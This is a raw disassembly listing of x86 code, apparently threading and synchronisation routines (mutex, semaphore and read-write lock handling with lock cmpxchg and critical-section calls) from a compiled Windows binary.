sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: ___:00431194j nop call near ptr 29B0000h loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 2950856h push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3D0, eax nop call near ptr 2960000h test eax, eax mov dword_50E3EC, eax jnz short loc_4312CD mov eax, dword_50E3D0 mov dword_50E3EC, offset sub_4012D0 push eax nop call near ptr 28C0377h mov dword_50E3D0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3D4 test eax, eax jz short loc_431350 mov eax, dword_50E3D8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3D80Dh, 4C48300h, 6A118Bh, 0C5E89052h, 0E80248ECh dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0E8905007h, 248F027h ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3D4 test eax, eax jz short loc_4313DB mov eax, dword_50E3D8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3D80Dh, 4C48300h, 6A118Bh, 25E89052h db 0ECh, 48h, 2 ; --------------------------------------------------------------------------- loc_4313DB: ; CODE XREF: sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9A0 xor esi, esi nop call near ptr 7C901005h mov eax, dword_50E3E0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3D4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3D8 mov dword_50E3D4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3DC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E8E0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E920 call esi push offset dword_50E980 call esi push offset dword_50E960 call esi mov eax, dword_50E3D4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3D4 test eax, eax jz locret_431619 mov eax, dword_50E3D8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3D8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3DC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3DC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E8E0 call near ptr 7C901005h nop mov eax, dword_44573C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E8E0 nop call near ptr 7C9010EDh mov esi, dword_50F858 push offset dword_50E960 call esi push offset dword_50E980 call esi push offset dword_50E920 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E8E0 call esi mov dword_50E3D4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_50E3D8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi ; free add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3D8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi call near ptr 77C3A307h nop add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 28F0AD0h push eax call near ptr 28B0974h nop test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi call near ptr 77C2C21Bh nop mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E980 call near ptr 7C901005h nop mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E980 call near ptr 7C9010EDh nop loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; 